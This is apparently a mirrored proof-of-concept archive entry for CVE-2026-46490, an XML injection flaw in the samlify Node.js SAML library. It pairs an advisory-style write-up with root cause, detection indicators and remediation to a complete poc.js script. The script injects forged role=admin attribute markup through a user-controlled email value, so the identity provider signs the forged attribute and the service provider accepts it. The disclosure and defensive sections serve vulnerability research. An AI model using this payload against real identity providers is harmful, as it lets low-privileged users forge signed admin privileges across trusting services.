PoC Archive PoC Archive
High CVE-2026-46490 / GHSA-34r5-q4jw-r36m patched

samlify SAML AttributeValue XML Injection → Privilege Escalation (CVE-2026-46490)

by Caio Fabrício (BiiTts) · 2026-07-05

CVSS 8.8/10
Severity
High
CVE
CVE-2026-46490 / GHSA-34r5-q4jw-r36m
Category
web
Affected product
samlify (Node.js SAML library)
Affected versions
< 2.13.0 (fixed in 2.13.0)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / ResearcherCaio Fabrício (BiiTts)
CVE / AdvisoryCVE-2026-46490 / GHSA-34r5-q4jw-r36m
Categoryweb
SeverityHigh
CVSS Score8.8 (High)
StatusPoC
Tagssaml, sso, xml-injection, privilege-escalation, samlify, cwe-91, identity-provider
RelatedN/A

Affected Target

FieldValue
Software / Systemsamlify (Node.js SAML library)
Versions Affected< 2.13.0 (fixed in 2.13.0)
Language / PlatformJavaScript / Node.js
Authentication RequiredYes (low-privileged authenticated user)
Network Access RequiredNo (exploited via own SAML attribute value; no network access needed beyond normal SSO flow)

Summary

samlify’s template substitution engine (replaceTagsByValue / escapeTag in src/libsaml.ts) only XML-escapes values that are substituted into XML attribute contexts; values substituted into element text context (such as <saml:AttributeValue>{Value}</saml:AttributeValue>) are inserted verbatim. A low-privileged user who controls one of their own profile attributes (e.g. email) can inject raw XML markup that closes the current <saml:Attribute> element and opens a forged one (e.g. role=admin). Because the injection happens before the assertion is signed by the IdP, the forged attribute is covered by a valid signature, and any Service Provider that trusts the IdP will accept the extra attribute as authoritative — resulting in privilege escalation.


Vulnerability Details

Root Cause

The substitution helper escapeTag inspects an optional preceding quote character captured by its regex to decide whether the value is being placed in an attribute context (Name="{Name}", quote present → escaped) or an element-text context (>{Value}<, no quote → not escaped). samlify’s default attribute template places the attribute value in element text:

<saml:Attribute Name="{Name}" ...><saml:AttributeValue ...>{Value}</saml:AttributeValue></saml:Attribute>

Since the value is unescaped there, any </> characters supplied by the user pass straight through into the generated (and subsequently signed) XML.

Attack Vector

  1. Attacker authenticates as a normal, low-privileged user on a samlify-based Identity Provider.
  2. Attacker sets a self-controlled profile attribute (e.g. email) to a crafted value that closes the <saml:AttributeValue>/<saml:Attribute> elements early and injects a new <saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute> element, then reopens a throwaway attribute to keep the template’s trailing tags balanced.
  3. The victim IdP builds the SAML assertion via createLoginResponse, performing the vulnerable unescaped substitution, and signs the resulting XML — the forged role attribute is now inside the signed scope.
  4. The assertion is sent to a Service Provider, which calls parseLoginResponse; signature validation succeeds (the signature covers the forged content), and the SP extracts role: "admin" as a trusted attribute.

Impact

Any authenticated user who can influence one of their own SAML attribute values can forge a validly-signed assertion carrying arbitrary additional attributes (role, group membership, entitlement flags, isAdmin, etc.), escalating privileges on every downstream Service Provider that trusts the vulnerable IdP. Standard SAML signature verification provides no protection since the forgery occurs before signing.


Environment / Lab Setup

Target:    samlify@2.12.0 (Node.js) acting as both IdP and SP in-process
Attacker:  Any host with Node.js; no network access required beyond normal SSO
Tools:     Node.js, npm, samlify library, generated IdP/SP keypairs

Proof of Concept

PoC Script

See poc.js and setup.sh in this folder. ANALYSIS.md documents the substitution regex, the quote-context heuristic, and the upstream patch.

1
2
3
cd lab   # if replicating the original repo layout, otherwise run from this folder
./setup.sh    # npm i samlify@2.12.0 + generate IdP/SP keypairs
node poc.js

Running the script drives samlify’s own IdP (createLoginResponse, which performs the vulnerable substitution and signs the assertion) and SP (parseLoginResponse, which validates the signature and extracts attributes). The SP ends up trusting role: "admin" — an attribute the attacker forged rather than one the IdP intentionally issued — confirming the signature-valid privilege escalation.


Detection & Indicators of Compromise

Inspect issued/consumed SAML assertions for attribute values containing raw XML markup,
e.g. "</saml:AttributeValue>" or "<saml:Attribute" inside what should be plain-text
attribute values (email, name, etc.), and for assertions containing more
<saml:Attribute> elements than the IdP's configured attribute template defines.

Signs of compromise:

  • SAML assertions where a user-controlled attribute (email, display name) contains embedded <saml:Attribute> / <saml:AttributeValue> markup.
  • Users holding roles/entitlements (e.g. role=admin) inconsistent with their provisioned identity records.
  • Unexpected attribute counts in signed assertions relative to the IdP’s attribute mapping configuration.

Remediation

ActionDetail
Primary fixUpgrade to samlify ≥ 2.13.0, which XML-escapes interpolated values in element-text contexts as well as attribute contexts.
Interim mitigationValidate/normalize user-supplied attribute values server-side before they are used to build assertions; enforce allow-listed attribute schemas at the SP; strip/reject attribute values containing </> characters.

References


Notes

Mirrored from https://github.com/BiiTts/CVE-2026-46490-samlify-SAML-Attribute-Injection on 2026-07-05.

poc.js
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
// CVE-2026-46490 - samlify < 2.13.0 - XML injection in AttributeValue (signed-assertion privilege escalation)
const fs = require('fs');
const saml = require('samlify');
const validator = require('@authenio/samlify-node-xmllint');
saml.setSchemaValidator(validator);

const idpKey  = fs.readFileSync(__dirname + '/idp-key.pem');
const idpCert = fs.readFileSync(__dirname + '/idp-cert.pem');
const spCert  = fs.readFileSync(__dirname + '/sp-cert.pem');

// Identity Provider: response template carries an "email" attribute whose value is user-controlled.
const idp = saml.IdentityProvider({
  entityID: 'https://idp.lab',
  privateKey: idpKey,
  signingCert: idpCert,
  isAssertionEncrypted: false,
  singleSignOnService: [{ Binding: 'urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect', Location: 'https://idp.lab/sso' }],
  loginResponseTemplate: {
    context:
      '<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="{ID}" Version="2.0" IssueInstant="{IssueInstant}" Destination="{Destination}" InResponseTo="{InResponseTo}"><saml:Issuer>{Issuer}</saml:Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion ID="{AssertionID}" Version="2.0" IssueInstant="{IssueInstant}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><saml:Issuer>{Issuer}</saml:Issuer><saml:Subject><saml:NameID Format="{NameIDFormat}">{NameID}</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="{SubjectConfirmationDataNotOnOrAfter}" Recipient="{SubjectRecipient}" InResponseTo="{InResponseTo}"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="{ConditionsNotBefore}" NotOnOrAfter="{ConditionsNotOnOrAfter}"><saml:AudienceRestriction><saml:Audience>{Audience}</saml:Audience></saml:AudienceRestriction></saml:Conditions>{AttributeStatement}</saml:Assertion></samlp:Response>',
    attributes: [
      { name: 'email', valueTag: 'email', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },
    ],
  },
});

const sp = saml.ServiceProvider({
  entityID: 'https://sp.lab',
  authnRequestsSigned: false,
  wantAssertionsSigned: true,
  signingCert: spCert,
  assertionConsumerService: [{ Binding: saml.Constants.namespace.binding.post, Location: 'https://sp.lab/acs' }],
});

// The attacker only controls their own profile field (email). They inject XML markup that closes the
// email attribute and adds a forged role=admin attribute, then re-opens a throwaway attribute so the
// template's trailing </saml:AttributeValue></saml:Attribute> stays balanced.
const INJ =
  'eve@evil.com</saml:AttributeValue></saml:Attribute>' +
  '<saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute>' +
  '<saml:Attribute Name="ignore"><saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema">';

const user = { email: INJ };

(async () => {
  const requestInfo = { extract: { request: { id: '_req123' } } };
  const { context } = await idp.createLoginResponse(
    sp, requestInfo, 'post', user,
    // custom tag replacement: map our user.email into the {email} attribute placeholder
    (template) => {
      const id = idp.entitySetting.generateID ? idp.entitySetting.generateID() : '_' + Date.now();
      const now = new Date(); const after = new Date(now.getTime() + 5 * 60000);
      const values = {
        ID: id, AssertionID: '_a' + id, Issuer: 'https://idp.lab',
        IssueInstant: now.toISOString(), Destination: 'https://sp.lab/acs', InResponseTo: '_req123',
        NameIDFormat: 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress', NameID: 'eve@evil.com',
        SubjectConfirmationDataNotOnOrAfter: after.toISOString(), SubjectRecipient: 'https://sp.lab/acs',
        ConditionsNotBefore: now.toISOString(), ConditionsNotOnOrAfter: after.toISOString(),
        Audience: 'https://sp.lab', attrEmail: INJ,
      };
      return { id, context: saml.SamlLib.replaceTagsByValue(template, values) };
    }
  );
  const xml = Buffer.from(context, 'base64').toString();
  console.log('=== injected forged attribute present in the signed assertion? ===');
  console.log(/<saml:Attribute Name="role"><saml:AttributeValue>admin/.test(xml)
    ? '>>> INJECTION CONFIRMED: forged <saml:Attribute Name="role">admin smuggled into the signed assertion'
    : 'not injected');

  // IMPACT: a Service Provider validates the IdP signature (which covers the forged attribute,
  // because injection happens BEFORE signing) and consumes role=admin as authoritative.
  const idpForSp = saml.IdentityProvider({
    entityID: 'https://idp.lab', signingCert: idpCert,
    singleSignOnService: [{ Binding: 'urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect', Location: 'https://idp.lab/sso' }],
  });
  const spParser = saml.ServiceProvider({
    entityID: 'https://sp.lab', authnRequestsSigned: false, wantAssertionsSigned: true,
    assertionConsumerService: [{ Binding: saml.Constants.namespace.binding.post, Location: 'https://sp.lab/acs' }],
  });
  try {
    const parsed = await spParser.parseLoginResponse(idpForSp, 'post', { body: { SAMLResponse: context } });
    const attrs = parsed.extract.attributes || {};
    console.log('\n=== SP-side result (signature VALIDATED by samlify) ===');
    console.log('extracted attributes:', JSON.stringify(attrs));
    console.log(attrs.role === 'admin' || (Array.isArray(attrs.role) && attrs.role.includes('admin'))
      ? '>>> PRIVILEGE ESCALATION CONFIRMED: SP accepted a signature-valid assertion granting role=admin'
      : '(role not surfaced by this SP attribute mapping, but it is present and signed in the assertion)');
  } catch (e) {
    console.log('\n[SP parse] ' + (e.message || JSON.stringify(e)) + '  (assertion + forged attribute shown above are signed)');
  }
})().catch(e => { console.error('ERR', e.message); process.exit(1); });